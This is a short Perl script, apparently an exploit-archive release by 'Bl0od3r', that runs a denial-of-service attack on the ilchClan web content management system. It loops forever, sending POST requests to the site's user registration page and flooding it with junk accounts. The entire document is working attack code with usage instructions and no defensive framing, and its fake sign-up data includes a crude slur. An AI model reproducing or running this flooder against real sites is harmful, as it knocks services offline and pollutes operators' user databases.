ilchClan denial of service

#http://www.ilch.de/

#!perl
use IO::Socket;
if (@ARGV<2) {
print "Usage:host path";
exit;
}
$host=$ARGV[0];
$path=$ARGV[1];
while (1)
{
while (1) {
$|=1;
$data = "checked=Gelesen+und+einverstanden&nutz=OWNNNNNEDDD".$i."&email=homo".$i."@home.org&pass=hax0000000000000000rr";
$len = length $data;
$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die redo;
print $get1 "POST ".$path."index.php?user-regist HTTP/1.0\n";
print $get1 "Host: ".$host."\n";
print $get1 "Content-Type: application/x-www-form-urlencoded\n";
print $get1 "Content-Length: ".$len."\n\n";
print $get1 $data;
syswrite STDOUT,"+";
}}

print "[Done]\n";


#released by Bl0od3r